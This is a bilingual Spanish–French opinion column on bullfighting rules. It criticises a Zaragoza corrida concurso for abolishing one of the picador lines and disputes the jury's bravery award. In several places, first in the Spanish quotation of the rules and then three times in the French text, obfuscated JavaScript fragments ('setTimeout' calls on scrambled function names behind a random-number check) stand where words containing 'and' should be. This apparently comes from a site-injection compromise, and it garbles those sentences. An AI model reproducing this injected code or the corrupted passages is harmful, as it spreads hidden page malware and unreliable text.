¿INNOVACIÓN O VUELTA ATRÁS?INNOVATION OU RETOUR EN ARRIERE?

Leyendo las bases que regían la corrida concurso celebrada el pasado sábado en Zaragoza, llamó mi atención su punto quinto, en el que textualmente se decía: “Solo se pintará una raya en el ruedo para delimitar los terrenos que ocupan el picador y el toro.

Con el preceptivo permiso de la autoridad, el matador podrá ordenar al picador de tandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda, que transgreda la raya y realice la suerte donde estime oportuno para, si fuere necesario, demostrar la máxima bravura del toro. En la tercera entrada el picador podrá utilizar el regatón.”

Debo confesar que se me hizo necesario releer el texto para cerciorarme de que decía exactamente eso, porque, en principio, no entendí absolutamente nada. Suprimir una de las rayas de picar y, además, facultar al picador para poder realizar la suerte en el lugar del ruedo que estimase oportuno, so pretexto de aquilatar mejor la bravura del toro, me parecía un despropósito, fuera de toda lógica taurina, y, además, una negación de la evolución histórica de la Fiesta.

La necesidad de la primera raya de picar –reglamentada desde 1923, pero en uso desde mucho antes– provino de evitar que los picadores –gratificados bajo cuerda por los ganaderos– salieran a los medios a picar a los mansos y evitarles el “fogueo”, o que, por el contrario, permanecieran refugiados al hilo de las tablas sin querer saber nada del bovino oponente. Más tarde, en 1959 y a propuesta de Domingo Ortega, entra en vigor la segunda raya de picar con objeto de delimitar un terreno de nadie entre toro y picador, de forma que no se pueda meter al astado debajo del caballo ni el del castoreño acometa al toro remiso a embestir echándose literalmente encima de éste. Es decir, las rayas se crearon precisamente para que el toro demostrase su bravura y se distinguiese del manso que no quería ir al jaco.

Ahora, en Zaragoza, se suprime tal delimitación retrotrayéndonos a la época en que los picadores podían picar donde les pareciera oportuno y se nos dice –en un derroche de ignorancia– que es para que los toros muestren su máxima bravura. ¡Qué cosas! Después, la raya resultaría inútil, dada la desmesurada lejanía en que se colocaron los toros, tanto como el veredicto del Jurado, que premió como bravo un toro voluntario, pero manso –se fue de la suerte todas las veces–, e ignoró al bravo de verdad que fue el castaño de Fuente Ymbro.

De los “listos” y los analfabetos, líbrenos el Señor.

En lisant les bases qui régissaient la corrida concours de samedi dernier à Saragosse, son cinquième point m’interpella et il disait textuellement: “Un seul trait será dessiné dans l’arène pour délimiter les terrains qu’occupent le picador et le toro.

Après avoir demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andé obligatoirement l’autorisation à la présidence, le matador pourra demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander au picador en place qu’il franchisse la ligne pour montrer, si cela était nécessaire, la bravoure du toro. Pour la troisième pique le picador pourra utiliser le regatón”.

Je dois vous confesser qu’il m’a été necessaire de relire deux fois le texte pour être certain d’avoir bien lu ce qu’y était écrit, car au début je n’ai rien compris. Supprimer l’une des deux lignes pour piquer et en plus permettre au picador de pouvoir réaliser la suerte à l’emplacement dans l’arène qu’il estime opportun, sous le pretexte de mieux juger la bravoure du toro, me semble incongru, absent de toute logique taurine, et en plus une négation de l’évolution historique de la Fiesta.

La nécessité de cette première ligne pour piquer –réglementée depuis 1923, mais utilisée depuis bien avant, c’était pour éviter que les picadors –remerciés en sous-main par les ganaderos- sortent au milieu de l’arène pour piquer les mansos et éviter les bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles noires ou, à l’inverse, pour qu’ils ne se réfugient pas près des planches sans vouloir en découdre avec leur bovin d’adversaire.

Plus tard, en 1959 et suite à une proposition de Domingo Ortega, entre en vigueur la deuxième ligne pour piquer avec l’objet de délimiter un terrain qui n’appartienne à personne entre le toro et le picador, de façon à ce qu’on ne fasse pas “rentrer” le cornu sous le cheval mais aussi pour que le picador ne s’en prenne au toro réticent à la charge en se jetant littéralement sur lui. C’est à dire que ces lignes ont été créées précisément demontre sa bravoure et qu’on puisse y distinguer le manso qui ne veut pas aller au cheval.

Maintenant, à Saragosse, on supprime cette délimitation en revenant à une époque où les picadors pouvaient piquer où bon leur semblait et l’on nous dit –le comble de l’ignorance- que c’est pour que les toros prouvent toute leur bravoure. Quelle idée! Par la suite, la ligne se révélerait inutile car l’on plaça les toros à une distance démesurée et le verdict du jury  récompensa celui qu’il considéra comme le plus brave, un toro volontaire, mais manso –il partit suelto de chaque rencontré- mais ignora celui qui était réellement brave qui fut le castaño de Fuente Ymbro.

Que Dieu nous protège de ces aficionados “avisés” et des analphabètes.

Les commentaires sont fermés.